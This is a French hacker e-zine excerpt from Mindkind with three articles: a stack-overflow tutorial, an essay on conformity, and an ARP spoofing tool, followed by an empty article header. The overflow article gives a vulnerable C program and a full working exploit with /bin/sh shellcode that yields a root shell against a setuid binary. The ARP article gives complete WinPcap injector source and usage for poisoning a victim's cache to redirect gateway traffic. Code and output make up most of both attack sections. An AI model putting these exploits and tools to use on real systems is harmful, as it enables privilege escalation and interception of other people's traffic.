        _,|<<|,,                | \ D / |         ,-``     |[}{]|    ``',
      .`  `..'  `.              |  |A|  |         |-,,     ``--''    _,-'|
      | `''--''` |              |  |T|  |         |   ``'''------''``    |
      |  [ O7 ]  |              |  |A|  |         |     [ Mindkind ]     |
      `.   ~~   .'              | /   \ |         `-,,    ] 1010 [   _,-'
        `''--''`      _,,,,,,...||  C  ||.....,,,,,,_ ``'''------''```
          |<<|.-''```` _,,,,,...|[  O  ]|...,,,,,,_  ```''-|[}{]|
        ,```   .,-''```         |[  R  ]|          ``''-., |[}{]|,
       |      `.        _,,,,...||  E  ||...,,,,,         '|[}{]| |
       |`-,_   `'-.,,_,`********| \   / |********`._,,.-'` |[}{]|'|
       |    `''-.,,,_ `````'''''---------'''''`````  _,,,.-|[}{]| |
       |`-,_         `````''''''---------'''''''`````      |[}{]|'|
       |    `''[                                          ]|[}{]| |
       |`-,_   [    Get Root,with small buff. no NOPs     ]|[}{]|'|
       |    `''[                                         ] |[}{]| |
        `-,_        [                              ]  _,,..|[}{]|.,,,
          |<;`'-.,,,_                             ,-``     |[}{]|    ``',
        ,`     ;     ```;;;;;;;;---------;;;;;;;;;|-,,     ``--''    _,-'|
       |`-,_   `'-.,,_,`********|[ !?! ]|********`|   ``'''------''``    |
       |`-,_`''-.,,,_ `````'''''---------'''''````|     ]  icefox  [     |
       |`-,_`''-.,,, `````''''''---------'''''''```-,,               _,-'
        `-,_`''-.,,,[                                ]``'''------''``
          |<`|'-.,,,_[                              ]_,,,.-|[}{]|
          |<<|       `````''''''---------'''''''`````      |[}{]|
          |<<|                  |]Aka: [|                  |[}{]|
          |<<|             ___,,| _____ |....--------------|[}{]|,,,,,,,,,,__
          |<<|,,.--'''`````   __| \ D / |....--------------|[}{]|,,,,,,,,_   `````'''--..,,_
      _.-'``       ,,.--'`````  |  |A|  |                  |[}{]|         `````''-.,,       ``'-.,
     ;           -`             |  |T|  |,.....----------..|[}{]|,,,_                `'           ;
     |`'-.,,       `''-..,,,_.-`|  |A|  |******************|[}{]|****````-_,,,,,.--'`       _,,-'`|
     |      ```''--..,,,,,_   ```````''''''''--------------''''''''```````   __,,,,..--''```      |
     |                     ````````''''''''''--------------''''''''''````````                     |
     |                                                                                            |

      [ 0x00 ] Sommaire ]

        ] Introduction ]

            ] 0x01 - Rappels Théoriques ]
                     - a] Dépassement de tampon
                     - b] Organisation de la stack
                     - c] Structure d'un buffer overflow

            ] 0x02 - Développement de vulnérable ]
            ] 0x03 - Exploitation de vulnérable ]

        ] conclusion ]

     [ Introduction ]

    Vous le savez tous qu'un grand nombre de papers liés à l'exploitation de stack overflow est déjà
    existant, c'est pour cette raison que je ne rappellerai pas tout ce qu'il faut savoir à ce propos.
    Ceci dit j'ai quand même pris la peine de créer une partie de rappels théoriques, qui seront
    utiles pour notre démonstration.

    Le but de cet article est de montrer comment fonctionne l'exploitation d'une faille présente dans
    un programme vulnérable par le biais d'un buffer très petit, et comment démontrer d'une manière
    plus que pratique qui n'utilise aucun NOP comment trouver l'adresse du shellcode du premier coup.

    Bien sans plus attendre nous pouvons nous lancer dans la vraie partie de cet article.

    Let's go oveflow !

     [ 0x01 - Rappels Théoriques ]

        - a] Dépassement de tampon

    Lorsqu'on définit une varaible, une zone mémoire est libérée selon les caractéristiques de la
    variable définie (type, taille, etc..). Dans cet espace, la variable attendra les informations
    qui lui sont destinées pour les inscrires en mémoire. Donc comme son nom l'indique le buffer
    overflow (dépassement de tampon) s'exécute quand on envoie plus d'infos que l'espace mémoire (la
    variable) peut en contenir.

        - b] Organisation de la stack

    Quand un processus est lancé, un espace mémoire lui est alloué. C'est bien beau de dire ça, mais
    réellement, qu'est ce que c'est ? En faite c'est un bloc de 3 sections qui ressemble à ça:

                     ___________
                    |           |   <- adresses hautes
                    |  Section  |
                    |    Text   |
                    |-----------|
                    |  Section  |
                    |   Données |
                    |-----------|
                    |  Section  |
                    |   Pile    |
                    |___________|    <- vers adresses basses

    Cela va de soit que nous nous attarderons sur la section Pile (stack) :)

    En faite ces trois sections conservent différents types de données: La section Text garde les
    instructions du programme en lecture seule, la Section Données des variables initialisées et
    non-initialisées,

    comme les variables dynamiques, etc..
    Donc, il faut savoir que le sens d'empilement des objets en mémoire s'effectue des adresses
    hautes vers les adresses basses.

    Très important: la stack fonctionne suivant une norme nommée LIFO (Last In First Out) qui
    signifie que le dernier objet mis en mémoire sera le premier à être dépilé de la mémoire.
    On peut imager cette expliqution: vous avez une pile de CD, on ajoute des CDs, puis on dépile
    CD par CD, le dernier CD a être empilé sera celui du haut donc le premier à être dépilé.

    Si on parle maintenant niveau programme, les instructions ASM qui permettent d'intervenir sur
    la mémoire sont PUSH et POP, PUSH pour empiler un objet, POP pour le dépiler.

    Il est évident aussi que la stack n'a pas de taille fixe, et qu'elle varie en fonction des
    éléments ajoutés. Ceci dit ce n'est pas vraiment la stack en elle-même qui change de taille,
    mais c'est un pointeur de pile qui se déplace: j'explique le pointeur de stack ainsi nommé
    ESP, pointe sur le haut de la stack et se déplace vers le bas de la stack. Et c'est la
    différence entre le pointeur de la base de la stack EBP et celui du bas de la pile ESP qui
    donne la taille de la stack.

     Donc voici un petit tableau récapitulatif des pointeurs de piles:

         EBP: pointe sur le bas de la stack: vers les adresses hautes
        ESP: pointe sur le haut de la stack et se déplace vers les adresses basses
        EIP: c'est le pointeur qu'on va overwriter: il pointe sur la prochaine instruction à
                 éxecuter.

    Bon si vous avez bien compris tout ceci, c'est un grand pas. Vous verrez par vous-mêmes que
    bien maitriser les actions effectuées par la stack ne sera pas utile que pour des stack
    overflow :)

        - c] Structure d'un buffer overflow

     Le principe du buffer overflow est de faire exécuter un code arbitraire à un programme
    vulnérable dans l'optique de prendre un contrôle Root d'une machine si le programme vulnérable
    a les droits du root. Ce code arbitraire est en réalité une portion de code hexadécimale
    "\xeb\xc0..." qui avant d'être retranscrit est un code assembleur qui permet de lancer /bin/sh
    (les shellcodes de type basique). Néanmoins, il y'a des shellcodes beaucoup plus évolués comme
    les Binshell, les shellcodes casseurs de chroot etc..

     Le scénario standard d'une exploitation est du type [NOPs][Shellcode][Ret Addr]
     Plus précisément, cette structure est composée de 3 parties:

       - Les NOP : Instruction ASM de valeur 0x90 qui ne sert à rien proprement dit, mais ici ils
                   servent à remplir le buffer

       - Le shellcode : donc on l'a vu plus haut, il lance le shell /bin/sh
       - La Ret Addr  : c'est l'adresse qu'on fera pointer dans les NOPs. Si c'est le cas, le
                        shellcode sera exécuté.

      - Ret Addr: Definiton

     Lorsque un programme fait appel à une fonction, il appel le point d'entré de la fonction,
    executer cette fonction pour finalement tomber sur un "ret", qui va modifier le flux d'execution
    du programme pour retomber sur le point d'entré de ce dernier et le programme continura ensuite
    son execution comme prévu.

     Maintenant l'objectif de l'exploit sera de modifier cette adresse de retour en overwritant le
    registre EIP pour remplacer son contenu pour faire retomber le flux d'exécution sur nos NOPs.
    Mais si vous comprenez bien le problème, on ne peut pas être certain de tomber sur les NOPs.
    C'est pour ça qu'on utilisera l'environnement :> On placera en environnement le shellcode, on
    récupèrera plus facilement son adresse et on pourra l'exécuter à coups sur.

     [ 0x02 Développement de Vulnérable ]

         Code source:

                /** Vulnerable.c **/

    #include <stdio.h>
    #include <string.h>

    int main(int arc, char *arv[])
    {
        char buffer[6];

        if(arc == 2)
        {
           strcpy(buffer, arv[1]);
        }

    }

      Je ne prendrais pas la peine d'expliquer ce code, il est extrêmement simple à comprendre.
    Donc ici la taille de notre buffer ne fera que 6 octets.

    donc on teste le segfault:

    icefox@evil~$ ./stack `perl -e "print('A'x15)"`
    Erreur de segmentation

    Le programme segfault comme prévu.

    Note: il est à savoir aussi qu'avant de vouloir overwriter EIP, il faut passer au dessus de
    EBP donc pour écrire au-dessus de EIP il faut 6 + 4(EBP) + 4(EIP) = 14 Octets.

      On vérifie cette règle:

    Starting program: /home/icefox/coding/vulnerable/stackoverflow/stack `perl -e "print('A'x14)"`

    Program received signal SIGSEGV, Segmentation fault.
    0x41414141 in ?? ()

    Avec 14 octets on note le 0x41414141 in ?? () -> l'adresse hexa ici est en faite EIP

    On teste avec 13 Octets:

    Starting program: /home/icefox/coding/vulnerable/stackoverflow/stack `perl -e "print('A'x13)"`

    Program received signal SIGSEGV, Segmentation fault.
    0x00414141 in ?? ()

    On voit que seulement 3 Octets ont overwrité EIP donc c'est bien vrai, il faudra 4 Octets pour
    écrire sur EBP et 4 de plus pour EIP.

    Donc on note: Taille du buffer -> 6
                Taille du débordement -> 8

      Ici on n’a pas besoin de récupérer l'adresse du buffer puisqu’on fera passer le shellcode
    en environnement :)

     [ 0x03 - Exploitation de Vulnérable ]

         Bien, je l'ai dit au début, on va faire passer le shellcode dans l'environnement.

       Code source de l'exploit:

    #include <stdio.h>
    #include <unistd.h>
    #include <stdlib.h>

    #define SIZEB 6
    #define OWN 8

    #define ROOT "./stack"
    #define ARG (0xc0000000 - 4 - sizeof(ROOT) - sizeof(sh))
    #define ccopy(a, b) *((int *) &arg[1][a]) = b

    int main(int arc, char *arv[])
    {

         char sh[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x0d"
                      "\x5b\x31\xc0\x50\x53\x89\xe1\xb0\x0b\x31\xd2\xcd"
                      "\x80\xe8\xee\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

          char *arg[] = { ROOT, "phear", NULL };
          char *env[]   = { sh, NULL };

          arg[1] = malloc(SIZEB + OWN + 1);
          memset(arg[1], '0', SIZEB + OWN);

          ccopy(SIZEB+OWN-4, ARG);
          execve(arg[0], arg, env);

    }

    Explication: En faite c'est la ligne suivante qui va calculer l'adresse du sh dans l'env:

               #define ARG (0xc0000000 - 4 - sizeof(ROOT) - sizeof(sh))

        Le pointeur sur tableau *env[] contient seulement le shellcode

    Testons maintenant notre exploit:

    icefox@evil~$ ./exploit
    sh-2.05b$

    Voilà ! on à chopé notre shell :)

    Il reste encore un problème:

      icefox@evil~$ whoami
      icefox

    Le programme vulnérable appartient à l'utilisateur "icefox" (moi quoi:>) donc nous avons les
    droits de cet utilisateur seulement. Simulons un programme vulnérable ayant les droits
    SUID:

    root@evil~# chown root.root stack
    root@evil~# chmod +s stack

    icefox@evil~$ ./exploit
    sh-2.05b# whoami
    root

    Oh yeah ;)

    [ Conclusion ]

    On a réussi à exploiter ce stack overflow sans avoir à calculer l'adresse de retour, qui
    n'aurait pas été l'adresse exacte, alors que là, du premier coup on tombe sur le shellcode
    sans avoir à se préoccuper d'un grand nombre de NOP (c'est pourquoi on voit souvent des
    "nops sux" :> ) Je tiens à préciser quelques points:

        - avec les nouvelles versions de gcc, un padding a été ajouté pour "retarder" les
              Bofs. En faite dans ce papers les démonstrations ont été faites avec les valeurs
              théoriques. Sur ma box, avec un buffer de 6 octets, l'overflow se produisait
              qu'à partir de 28 octets environ :) Ce padding met au point aussi une sécuritée
              anti off-by-one.

        - Finalement, je précise clairement que vous ne trouverez jamais ce genre de
              failles. En effet ces failles ne sont plus du tout répandues et ont toutes été
              quasiment exploitées et corrigées. Mais n'ayez raintes vous n'avez pas perdu de
              temps: comprendre ce principe c'est comprendre l'exploitation complète sous toutes
              ses formes. (off-by-one, etc..) Vous pouvez vous pencher sur des failles plus
              "à la mode " comme les Ret Into Libc, les Ret Into PLT etc...

                                 Icefox [www.artkod.info]

    [x] Spécial greets to Nelio pour la relecture et Nocte pour ce qu'il m'enseigne.

    Bibliographie:

    [1] Exploitation avancée des stack overflow - Nostrobo
    [2] Programmer un IDS contrant les shellcodes polymorphiques - Nocte
    [3] Smashing the stack for fun & profit - Aleph1
    [4] Nop Sux ... Buffer overflow & shellcode sans Nops - Seb-Sb

    topic

    _________________________________________________________
                                                             |
     Entre-Articles                                  Smash3r |
    _________________________________________________________|
        |    /   /                           |
        |   /   /                            |
        |  /   /                             |
        | /   /                              |
        |/   /                               |
        |   /                                &
        |  /                                 &
        | /                                 / \
        |/                             [ LA NORME ]
        |                  (a.k.a.: Mouton noir, mouton quand même)
        |
        |  Le changement fait peur. Nous avons peur de ce qui est différent. plutôt que
        |  d'essayer de comprendre, on rejette. C'est beaucoup plus facile. On essaie
        |  d'atteindre un idéal, d'avoir une belle image, de bien paraitre. Si notre
        |  opinion diffère de la majorité, on essaie de 'y conformer pour éviter
        |  d'être différent. On rit de ce qu'on ne comprend pas, on le rejette en le
        |  tournant au ridicule, plutôt que d'y faire face et d'essayer de comprendre.
        |  On cède alors à la facilité. Mais au fond de nous-mêmes, nous savons que nous
        |  sommes différents les uns des autres... À force de se conformer à la norme,
        |  on finit par devenir normal, ce qui est rassurant. Mais cette opinion que
        |  nous exprimons est-elle réellement la nôtre ou sagit-il de celle de la
        |  majorité, à laquelle nous tentons de nous conformer pour être normal?
        |  À force de vouloir être normal, n'avez-vous pas l'impression de vous
        |  éloigner de vous-même? Nous avons peur de dévoiler notre opinion aux
        |  autres lorsqu'elle est différente, parce que nous savons qu'elle sera
        |  tourné au ridicule. Nous avons peur d'être différent, mais pourtant, nous
        |  sommes déjà tous différents. Peut-être êtes-vous même en train de tourner
        |  mes propos en ridicule puisque mon opinion diffère du vôtre? Si c'est le
        |  cas, vous cédez encore une fois à la facilité...
        |
        |  Qu'est-ce que la norme? Être normal? Mais alors, qu'est-ce qu'être normal
        |  Quand vous regardez une foule, n'est-ce pas celui ou celle qui semble
        |  différent que vous remarquez? Quand vous tombez amoureux, est-ce pas parce
        |  que la personne que vous aimez est différente des autres, qu'elle a
        |  quelque chose de spécial, qu'elle vous attire? Nous essayons de ressembler
    ____|  aux autres, mais nous nous plaisons pourtant à contempler ce qui déteint de
           la majorité... Ce qui est intéressant, ce qui attire notre attention est
           ce qui est anormal, ce qui sort de l'ordinaire. Mais ce qui est anormal
           nous fait peur et plutôt que de faire l'effort de comprendre, on le fuit,
           en le rejetant. À force de se conformer à la norme, on finit par ne plus
           être nous-mêmes... Mais peut-être devrions-nous constater qu'il est
           anormal d'être normal?

           - Smash3r

           ..                     ,.-..                     ,..,
          |  |                  .`     `.                  |    |
          |''|                  |`'---'`|                  |`'-`|
          |<<|                  | _____ |             _,,..|[}{]|.,,,
        _,|<<|,,                | \ D / |         ,-``     |[}{]|    ``',
      .`  `..'  `.              |  |A|  |         |-,,     ``--''    _,-'|
      | `''--''` |              |  |T|  |         |   ``'''------''``    |
      |  [ O8 ]  |              |  |A|  |         |     [ Mindkind ]     |
      `.   ~~   .'              | /   \ |         `-,,    ] 1010 [   _,-'
        `''--''`      _,,,,,,...||  C  ||.....,,,,,,_ ``'''------''```
          |<<|.-''```` _,,,,,...|[  O  ]|...,,,,,,_  ```''-|[}{]|
        ,```   .,-''```         |[  R  ]|          ``''-., |[}{]|,
       |      `.        _,,,,...||  E  ||...,,,,,         '|[}{]| |
       |`-,_   `'-.,,_,`********| \   / |********`._,,.-'` |[}{]|'|
       |    `''-.,,,_ `````'''''---------'''''`````  _,,,.-|[}{]| |
       |`-,_         `````''''''---------'''''''`````      |[}{]|'|
       |    `''[                                          ]|[}{]| |
       |`-,_   [               Arp injector               ]|[}{]|'|
       |    `''[                                         ] |[}{]| |
        `-,_        [                              ]  _,,..|[}{]|.,,,
          |<;`'-.,,,_                             ,-``     |[}{]|    ``',
        ,`     ;     ```;;;;;;;;---------;;;;;;;;;|-,,     ``--''    _,-'|
       |`-,_   `'-.,,_,`********|[ !?! ]|********`|   ``'''------''``    |
       |`-,_`''-.,,,_ `````'''''---------'''''````|     ] Ivanlef0u  [   |
       |`-,_`''-.,,, `````''''''---------'''''''```-,,               _,-'
        `-,_`''-.,,,[                                ]``'''------''``
          |<`|'-.,,,_[                              ]_,,,.-|[}{]|
          |<<|       `````''''''---------'''''''`````      |[}{]|
          |<<|                  |]Aka: [|                  |[}{]|
          |<<|             ___,,| _____ |....--------------|[}{]|,,,,,,,,,,__
          |<<|,,.--'''`````   __| \ D / |....--------------|[}{]|,,,,,,,,_   `````'''--..,,_
      _.-'``       ,,.--'`````  |  |A|  |                  |[}{]|         `````''-.,,       ``'-.,
     ;           -`             |  |T|  |,.....----------..|[}{]|,,,_                `'           ;
     |`'-.,,       `''-..,,,_.-`|  |A|  |******************|[}{]|****````-_,,,,,.--'`       _,,-'`|
     |      ```''--..,,,,,_   ```````''''''''--------------''''''''```````   __,,,,..--''```      |
     |                     ````````''''''''''--------------''''''''''````````                     |
     |                                                                                            |

    --------[ Intro

    Hello World, et voici encore un article sorti tout droit de la tête de
    l'horrible Ivanlef0u. Aujourd'hui le sujet du jour consiste a coder un tool
    nous permettant de forger des packets ARP (Gruut??), le protocole ARP(Address
    Resolution Protocol) permet tout simplement de convertir une adresse IP en
    adresse mac. C'est un protocole qui se situe dans la couche 3 du modele OSI
    (réseau) juste en dessous on a généralement de l'ethernet (couche liaison).

    Voici un header arp:

    Arp Header format

        0                   1                   2                   3
        0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
       |          Hardware type        |       Protocol type           |
       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
       |Hard addr len | Proto addr len |       Opcode                  |
       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
       |                    Source hardware address                    |
       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
       |                    Source protocol address                    |
       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
       |                    Destination hardware address               |
       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
       |                    Destination protocol address               |
       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

    Hardware type: 16 bits
    1 pour ethernet.
    Protocol type: 16 bits
    0x800 pour IP.
    Hardware address length: 8 bits
    Nous on met 6.
    Protocol address length: 8 bits
    4 pour nous.
    Opcode: 16 bits
    Cool un truk intéressant, cela détermine a quoi va servir notre packet:

    |Value  | Description
    +---------------------
    |1      | Request
    +---------------------
    |2      | Reply
    +---------------------
    |3      | Request Reverse
    +---------------------
    .
    .
    Je ne mets pas le reste, ça n'a pas d'interet ici.

    Alors, lorsque vous voulez vous connect a un pc de votre réseau, il faut que
    votre pc connaisse l'adresse mac de celui-ci. Voici une trame capturée par
    Ethereal, on peut y voir l'entête Ethernet et ARP. (Ethernet n'est que sur les
    14 premiers octets)

           [broadcoast mac ] [    mon mac    ] [arp]{[eth]
    0000   ff ff ff ff ff ff 00 0f 66 c6 ae 09 08 06 00 01  ........f.......
           [ip ]      [req ] [     mon mac   ] [ mon ip  ]
    0010   08 00 06 04 00 01 00 0f 66 c6 ae 09 c0 a8 00 f2  ........f.......
           [ dest mac      ] [  son ip ]}
    0020   00 00 00 00 00 00 c0 a8 00 5a                    .........Z

    Voici le prob, mon Pc a l'IP 192.168.0.242 (c0 a8 00 f2) et la
    mac 00:0F:66:C6:AE:09 (cisco pour ceux qui sont curieux) et il veut savoir la
    mac du pc qui a comme ip 192.168.0.90 (c0 a8 00 5a) il envoie donc un ARP avec
    l'opcode Request a tout le réseau FF:FF:FF:FF:FF:FF et le pc concerne doit
    normalement lui réponde par un arp avec l'opcode reply contenant son mac.

    En fait, ce que font les OS de nos jours, au lieu de demander a chaque fois
    quelle est l'adresse mac du destinaire ils mettent en place un cache contenant
    les mac des pc contactes. Sous windows pour voir cette table tapez dans un shell
    arp -a

    --------[ L'attaque des clones

    +--------------+
    |    Robert    | -----------------------------------+
    |  192.168.0.2 |                                    |
    |     mac2     |                                    |
    +------+-------+                                    |
           |                                            |
    +------+-------+                               +-------------+
    |    Albert    |-------------------------------| Passerelle  |---------WEB
    |  192.168.0.3 |                               | 192.168.0.1 |
    |     mac3     |                               |    mac1     |
    +------+-------+                               +-------------+
           |                                            |
           |                                            |
    +------+-------+                                    |
    |    Hacker    |------------------------------------+
    |  192.168.0.4 |
    |     mac4     |
    +--------------+

    Voici le schéma, Robert, Albert et Hacker utilisent une passerelle pour se
    connecter au web, un NAT tout classique comme il en existe partout. Ils ont donc
    tous dans leur cache arp, la mac de la passerelle et celle de leurs confrères.
    Ban imaginons que Albert et Robert croient que l'adresse mac de la passerelle
    est celle de Hacker ! tout les packets qui  sont destines a la passerelle seront
    déroute sur Hacker qui pourra s’il est malin créer un NAT pour reroute les
    packets sur la passerelle et s’il veut injecter ds données dans celles-ci, bref
    prendre le contrôle des connexions de Robert et Albert.

    --------[ 1F Y0U C4N R34D 7H15 7H3N Y0U N33D 70 637 0U7

    Alors déjà pour commencer j'ai whine. Aucun librairie documentée de windows ne
    supporte le protocole ARP, la lib winsock ne peut pas aller plus bas que la
    couche IP, comme nous avons aussi besoin de forger la couche 2, ethernet, je me
    suis donc rabattu sur la WinPcap librairie de capture réseau notammentutilisee
    parEthereal. Il nous faut donc le kit de développement de Pcap dispo ici:

    http://www.winpcap.org/install/bin/WpdPack_3_1.zip

    Ensuite comme j'utilise MsVC++ 6.0 il faut le configurer afin qu'il prenne
    en compte cette new lib alors chez moi je fais:
    Tools->Options->Directories
    Dans Include files je met ou se trouve \WpdPack\Include et dans Librairie files
    je mets ou est WpdPack\Lib
    Apres je vais dans Project->Settings->C/C++ dans Preprocessor
    définitions j'ajoute
    WPCAP et dans Project Options je rajoute  /D "HAVE_REMOTE" (ça, je sais pas trop
    pkoi d'ailleurs) Enfin je vais dans l'onglet Link et je fous wpcap.lib avec les
    autres. Voila norm le compilo et le linker sont bons, reste plus qu'a coder. Si
    ça ne marche pas chez vous, regardez le projet sur mon site.

    La WinPcap n'est pas une librairie difficile, on va juste ouvrir une interface,
    la bonne de préférence, nous mettre en mode PROMISCUOUS dessus, forger le packet
    et l'envoyer, tout est documente en plus de façon claire alors je ne m'attarde
    pas dessus.

    #include <stdio.h>
    #include <pcap.h>
    #include <windows.h>

    u_char * str2hex(char * str);
    pcap_if_t *ifselector(int inum);
    void showhelp();

    struct ETH_HDR{
    u_char dst[6];
    u_char src[6];
    u_short type;
    };

    struct ARP_HDR {
    u_short hard;
    u_short proto;
    u_char hard_len;
    u_char proto_len;
    u_short opcode;
    u_char hard_addr_src[6];
    u_int proto_addr_src;
    u_char hard_addr_dst[6];
    u_int proto_addr_dst;
    };

    char errbuf[PCAP_ERRBUF_SIZE];
    pcap_if_t *alldevs;
    u_char buff[7]="";

    int main(int argc, char *argv[])
    {

    struct ETH_HDR eth;
    struct ARP_HDR arp;

    if(argc==1)
    {
        showhelp();
        return 0;
    }

    if (argv[1][0]=='l')
    {
        ifselector(0);
        return 0;
    }

    if(atoi(argv[1])<=0 || atoi(argv[1])>255 || inet_addr(argv[2])==INADDR_NONE ||
    strlen(argv[3])!=17 || inet_addr(argv[4])==INADDR_NONE
       || strlen(argv[5])!=17 || atoi(argv[6])<0 || (u_short)atoi(argv[6])>4096 ||
    atoi(argv[7])<0 || (u_int)atoi(argv[7])>65535)
    {
        showhelp();
        return -1;
    }

    pcap_t *adhandle=NULL;

    if((adhandle= pcap_open(ifselector(atoi(argv[1]))->name,
                                  65536,
                                  PCAP_OPENFLAG_PROMISCUOUS,
                                  1000,
                                  NULL,
                                  errbuf
                                  )) == NULL)
        {
            fprintf(stderr,"\nUnable to open the adapter. %s is not supported by
    WinPcap\n", ifselector(atoi(argv[1]))->name);
            pcap_freealldevs(alldevs);
            return -1;
        }

    memset(ð,0,sizeof(ETH_HDR));
    eth.type=htons(0x0806);    //Type code Arp
    memcpy(ð.dst,str2hex(argv[3]),6);
    memcpy(ð.src,str2hex(argv[5]),6);

    memset(&arp,0,sizeof(ARP_HDR));
    arp.hard=htons(1);
    arp.proto=htons(0x800);
    arp.hard_len=6;
    arp.proto_len=4;
    arp.opcode=htons(atoi(argv[6]));
    memcpy(&arp.hard_addr_dst,str2hex(argv[3]),6);
    memcpy(&arp.hard_addr_src,str2hex(argv[5]),6);
    arp.proto_addr_src=inet_addr(argv[4]);
    arp.proto_addr_dst=inet_addr(argv[2]);

    u_char packet[sizeof(ETH_HDR)+sizeof(ARP_HDR)];
    memset(packet,0,sizeof(packet));

    memcpy(packet,ð,sizeof(ETH_HDR));
    memcpy(packet+sizeof(ETH_HDR),&arp,sizeof(ARP_HDR));

    for (int i=0;i<atoi(argv[7]);i++)
    {
        printf("packet: %d sent\n",i);
        if (pcap_sendpacket(adhandle,packet, sizeof(packet)) != 0)
             {
                fprintf(stderr,"\nError sending the packet: \n",
    pcap_geterr(adhandle));
                return -1;
            }

    }
    pcap_freealldevs(alldevs);
    return 0;
    }

    u_char * str2hex(char * str)
    {
        for (int i=0;i<17;i+=3)
        {
            char * ptr=str+i+1; //put1 de strtol
            buff[i/3]=(u_char)strtol(str+i,&ptr,16);
        }
    return (u_char *)buff;
    }

    void showhelp()
    {
        printf("Arp packet injector by Ivanlef0u\n");
        printf("Usage is: arp_inj <interface number> <dst_ip> <dst_mac> <src_ip>
    <src_mac> <opcode> <number of packets>\n");
        printf("Use arp_inj l to list interfaces\n");
        printf("Exemple:arp_inj 3 192.168.0.255 ff:ff:ff:ff:ff 192.168.0.1
    aa:bb:cc:dd:ee:ff 2 10 \n");
    }

    pcap_if_t * ifselector(int inum)
    {
        pcap_if_t *d=NULL;
        int i=0;
        if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1)
        {
         fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf);
         exit(-1);
        }

        for(d=alldevs; d; d=d->next)
        {
            i++;
            if(inum ==0)
            {
                printf("%d. %s",i, d->name);
                if (d->description)
                    printf(" (%s)\n", d->description);
                else
                    printf(" (No description available)\n");
            }
        }

        if(i==0)
        {
         printf("\nNo interfaces found! Make sure WinPcap is installed.\n");
         exit(-1);
        }

        if(inum>=1 && inum<=i)
        {
            for(d=alldevs, i=0; i< inum-1;d=d->next, i++);

        return d;
        }

        return NULL;
    }

    Alors pour utiliser c'est pas trop dur
    arp_inj  <interface number> <dst_ip> <dst_mac> <src_ip> <src_mac>
    <opcode> <number of packets>

    Donc si Hacker veut faire croire a Robert que la passerelle a son mac il fait:
    arp_inj <son_interface> 192.168.0.2 <mac2> 192.168.0.1 <mac4> 2 10
    Ainsi Hacker va envoyer des packets arp avec l'opcode Reply faisant
    croire que 192.168.0.1 a la mac de Hacker, youplaboom!

    Ha vi pour voir vos interfaces faites: arp_inj l

    --------[ Conclusion

    Vous avez pu voir que forger des packets avec la WinPcap n'était pas
    si, difficile que ça et qu’on peut en faire un usage très pratique. Il existe
    de nombreuses techniques de détournement utilisant un forgeur de packet arp,
    voulant comprendre comment cela marchait j'ai décidé de coday un tool, même si
    il n'est pas super impressionnant il marche et c'est déjà bien :]

    Vous trouverez les codes et bin sur mon site dans zine/moi

    Ivanlef0u

    EMail:ivanlef0u119@yahoo.fr
    WebSite: http://membres.lycos.fr/moi118118

    --------[ Références

    http://www.security-labs.org/index.php3?page=606
    http://www.madchat.org/reseau/arp/

    topic

           ..                     ,.-..                     ,..,
          |  |                  .`     `.                  |    |
          |''|                  |`'---'`|                  |`'-`|
          |<<|                  | _____ |             _,,..|[}{]|.,,,
        _,|<<|,,                | \ D / |         ,-``     |[}{]|    ``',
      .`  `..'  `.              |  |A|  |         |-,,     ``--''    _,-'|
      | `''--''` |              |  |T|  |         |   ``'''------''``    |
      |  [ O9 ]  |              |  |A|  |         |     [ Mindkind ]     |
      `.   ~~   .'              | /   \ |         `-,,    ] 1010 [   _,-'
        `''--''`      _,,,,,,...||  C  ||.....,,,,,,_ ``'''------''```
          |<<|.-''```` _,,,,,...|[  O  ]|...,,,,,,_  ```''-|[}{]|
        ,```   .,-''```         |[  R  ]|          ``''-., |[}{]|,
       |      `.        _,,,,...||  E  ||...,,,,,         '|[}{]| |
       |`-,_   `'-.,,_,`********| \   / |********`._,,.-'` |[}{]|'|
       |    `''-.,,,_ `````'''''---------'''''`````  _,,,.-|[}{]| |
       |`-,_         `````''''''---------'''''''`````      |[}{]|'|
       |    `''[                                          ]|[}{]| |
       |`-,_   [    Utilisation de l'espace mem en c      ]|[}{]|'|
       |    `''[                                         ] |[}{]| |
        `-,_        [                              ]  _,,..|[}{]|.,,,
          |<;`'-.,,,_                             ,-``     |[}{]|    ``',
        ,`     ;     ```;;;;;;;;---------;;;;;;;;;|-,,     ``--''    _,-'|
       |`-,_   `'-.,,_,`********|[ !?! ]|********`|   ``'''------''``    |
       |`-,_`''-.,,,_ `````'''''---------'''''````|     ]  Kitoy   [     |
       |`-,_`''-.,,, `````''''''---------'''''''```-,,               _,-'
        `-,_`''-.,,,[                                ]``'''------''``
          |<`|'-.,,,_[                              ]_,,,.-|[}{]|
          |<<|       `````''''''---------'''''''`````      |[}{]|
          |<<|                  |]Aka: [|                  |[}{]|
          |<<|             ___,,| _____ |....--------------|[}{]|,,,,,,,,,,__
          |<<|,,.--'''`````   __| \ D / |....--------------|[}{]|,,,,,,,,_   `````'''--..,,_
      _.-'``       ,,.--'`````  |  |A|  |                  |[}{]|         `````''-.,,       ``'-.,
     ;           -`             |  |T|  |,.....----------..|[}{]|,,,_                `'           ;
     |`'-.,,       `''-..,,,_.-`|  |A|  |******************|[}{]|****````-_,,,,,.--'`       _,,-'`|
     |      ```''--..,,,,,_   ```````''''''''--------------''''''''```````   __,,,,..--''```      |
     |                     ````````''''''''''--------------''''''''''````````                     |
     |                                                                                            |

##

##

####
